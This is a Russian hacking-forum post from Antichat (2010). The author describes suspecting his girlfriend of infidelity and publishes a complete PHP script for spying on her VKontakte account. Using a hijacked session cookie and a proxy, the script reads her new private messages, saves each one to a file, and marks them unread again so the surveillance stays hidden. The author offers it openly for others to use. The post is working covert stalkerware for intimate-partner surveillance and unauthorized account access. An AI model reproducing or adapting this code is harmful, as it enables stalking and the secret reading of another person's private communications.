ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > SЕО/Финансовые задачи/Социальные сети > Социальные сети
   
 
 
Опции темы Поиск в этой теме Опции просмотра

[скрипт] Слежка за девушкой/парнем, чтение их массаг
  #1  
Старый 02.03.2010, 11:50
Аватар для kam
kam
Новичок
Регистрация: 19.11.2005
Сообщений: 4
Провел на форуме:
34314

Репутация: 11
По умолчанию [скрипт] Слежка за девушкой/парнем, чтение их массаг

вообщем, сталкнулся с ситуевиной, когда появилось подозрение что девушка изменяет...один раз глянул контакт её, там была массага о какой то встречи, через буквально 5-10 мин она её удалила...ну и захотелось организовать слежку за контактом любимой...был написан маленький скриптик...который через проксик подключаеться к контакту. логиниться, читает НОВЫЕ массаги, сохраняет их в файл, и ЗАНОГО помечает как "не прочитаные"

ну узнал я много о ней ))
вот собственно скрипт, пользуйтесь...

Код:
#!/usr/bin/php

<?php

### дира, куда сохранять все это овно (последний слеш обязателен)
$dir_save="/home/web/sites/kam/vk/msg/";
$cooke="remixchk=5; remixsid=*****";


function msg_read($mid,$uid){
      global $cooke;
        $proxy = "*****"; //прокси
        $port=8888;

    $fp = fsockopen ($proxy, $port, $errno, $errstr, 30);
    if (!$fp){
        return "Error ";
    }
    $request = "GET http://vkontakte.ru/mail.php?act=show&id=".$mid." HTTP/1.0\r\n";
    $request .= "Host: http://vkontakte.ru\r\n";
    $request .= "Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n";
    $request .= "Accept-Encoding: none, *;q=0\r\n";
    $request .= "Accept-Language: ru\r\n";
    $request .= "Connection: close\r\n";
    $request .= "Proxy-Connection: close\r\n";
    $request .= "Cookie: ".$cooke." \r\n";
    $request .= "Referer: http://vkontakte.ru/mail.php/\r\n";
    $request .= "User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10\r\n";
    #$request .= "\r\n";

    #$request .= "$data\r\n";
    $request .= "\r\n";
    #var_dump($request);


    @fwrite ($fp,$request);
$out="";
   while (!feof($fp)) {
          $out .= fgets($fp, 128);
     }


  if(ereg("Content-Type: text/html;",$out))
  {
    #var_dump($out);
    $a=explode("Proxy-Connection: close",$out);
    return $a[1];

  }else{

        $a=explode("Proxy-Connection: close",$out);
        preg_match("/(Content-Type: )[^.]+/i",$a[0],$z);
        $z=explode("\n",$z[0]);
        #header(onlyChars($z[0]));
        return array(trim($z[0]),trim($a[1]));


  }



fclose($fp);
### end function
}


function mark_unread($mid){
              global $cooke;
        $proxy = "*****"; //прокси
        $port=8888;

    $fp = fsockopen ($proxy, $port, $errno, $errstr, 30);
    if (!$fp){
        return "Error ";
    }


$data="mark=new&mark_custom=&m_search=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA%20%D1%81%D0%BE%D0%BE%D0%B1%D1%89%D0%B5%D0%BD%D0%B8%D0%B9&q=&d=&out=0&st=0&filter=all&post%5B".$mid."%5D=".$mid."\r\n\r\n";
    $request = "POST http://vkontakte.ru/mail.php?act=mark_msg HTTP/1.0\r\n";
$request.="Host: http://vkontakte.ru\r\n";
$request.="User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10\r\n";
$request.="Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n";
$request.="Accept-Language: ru\r\n";
$request.="Accept-Encoding: none, *;q=0\r\n";
$request.="Content-Type: application/x-www-form-urlencoded; charset=UTF-8\r\n";
$request.="Connection: close\r\n";
$request.="Proxy-Connection: close\r\n";
$request.="Referer: http://vkontakte.ru/mail.php\r\n";
$request.="Cookie: ".$cooke."\r\n";
$request.="Pragma: no-cache\r\n";
$request.="Cache-Control: no-cache\r\n";
$request.="Content-Length: ".strlen($data)."\r\n\r\n";
$request.=$data."\r\n\r\n";

    #var_dump($request);




    @fwrite ($fp,$request);
$out="";
   while (!feof($fp)) {
          $out .= fgets($fp, 128);
          #echo($out);
     }
     #echo($out);

     fclose($fp);
#end function
}
function output_r ($host,$page,$data){
    global $cooke;

    if ($page==''){$page='/';}
    if($host == "vkontakte.ru"){
        $proxy = "*****"; //прокси
        $port=8888;
    }
    #else{
    #$proxy="192.168.5.2";
    #$port=3128;
    #}
    $fp = fsockopen ($proxy, $port, $errno, $errstr, 30);
    if (!$fp){
        return "Error ";
    }

    $request = "GET http://$host/{$page}?{$data} HTTP/1.0\r\n";
    $request .= "Host: http://$host\r\n";
    $request .= "Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n";
    $request .= "Accept-Encoding: none, *;q=0\r\n";
    $request .= "Accept-Language: ru\r\n";
    $request .= "Connection: close\r\n";
    $request .= "Proxy-Connection: close\r\n";
    $request .= "Cookie: ".$cooke." \r\n";

    $request .= "Referer: http://$host/\r\n";
    $request .= "User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10\r\n";
    #$request .= "\r\n";

    #$request .= "$data\r\n";
    $request .= "\r\n";
    #var_dump($request);




    @fwrite ($fp,$request);
$out="";
   while (!feof($fp)) {
          $out .= fgets($fp, 128);
     }


  if(ereg("Content-Type: text/html;",$out))
  {
    #var_dump($out);
    $a=explode("Proxy-Connection: close",$out);
    return $a[1];

  }else{

        $a=explode("Proxy-Connection: close",$out);
        preg_match("/(Content-Type: )[^.]+/i",$a[0],$z);
        $z=explode("\n",$z[0]);
        #header(onlyChars($z[0]));
        return array(trim($z[0]),trim($a[1]));


  }

fclose($fp);
#end function
}

##########################################################
########################################
########################
################
############ Вызов функций


include('simple_html_dom.php'); 
$zzz=output_r("vkontakte.ru","mail.php","id=".$_GET['id']);

$zzz=trim(iconv("CP1251","UTF-8",$zzz));
#$ar=explode("<tr class='newRow' id=",$zzz);
#var_dump($ar);
$i=0;
$text = str_get_html($zzz);
foreach ($text -> find('tr.newRow') as $temp){
    $temp=explode("<div class=\"name\">",$temp);
    $temp1=explode("<div class=\"date\">",$temp[1]);
    ##### Username/id
    $un_tmp=trim(str_replace(array('<a href="','">','</div>','</a>',"/id")," ",$temp1[0]));
    $un=explode("\n",$un_tmp);
    $un=trim($un[0]);
    $i++;
    ### message ID
    $mid=explode("<span>",$temp1[1]);
    $mid=explode("<td class=\"messageSnippet\"",$mid[0]);
    $mid=trim(str_replace(array("id=\"mb","\">"),"",$mid[1]));

if(!file_exists($dir_save."in_".$mid))
{
$msg_page=trim(iconv("CP1251","UTF-8",msg_read($mid,$un)));
$msg_text = str_get_html($msg_page);
foreach ($msg_text -> find('td.messageText') as $msg_tmp){
    $exp=explode("<div style=\"width: 240px; overflow: hidden;\">",$msg_tmp);
    $exp=explode("</div>",$exp[1]);
    $exp=trim($exp[0]);
    $to_save=$un." (".$mid.") :  ".$exp."\r\n";
### Сохранение говна в файл
$fsave = fopen($dir_save."in_".$mid, "w");
fwrite($fsave, $to_save);
fclose($fsave);

#end foreach
}

sleep(2);
mark_unread($mid);
#end if file exist
}
#end foreach
    }



?>
для скрипта нужна библиотека simple_html_dom.php, можно найти в гугле
ну или скачать тут
_http://trac.openpolis.it/openpolis/browser/trunk/lib/simple_html_dom.php?format=txt
скрипт БЕЗ прокси не работает )...

что умеет:
Читать сообщения. сохранять в файл ( in_{$message_id} )
после помечать их как прочитаные...
также НЕ читает уже сохраненные масаги )))
скрипт не светит человека то что он онлайн

в планах: добавить логирование исходящих сообщений, добавить пометки типа сообщение из контакта было удаленно 0_о, чтобы легче было обратить внимание на нужно сообщение...

Скрипт надо гонять по крону каждую минуту....хотя самое прикольное было бы гонять каждые 30 секунд...но да ладно )

З.Ы. как запустить объеснять не буду, кому надо поймут ))
З.Ы.Ы.Претендую на звание говно-кодер месяца, за эту поделку...писал для себя. так что писал как можно быстрее, скрипт написан был за час...
З.Ы.Ы.Ы. готов принять критику по скрипту, и баг-фиксы )))

Последний раз редактировалось kam; 02.03.2010 в 11:57..
 
Ответить с цитированием
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ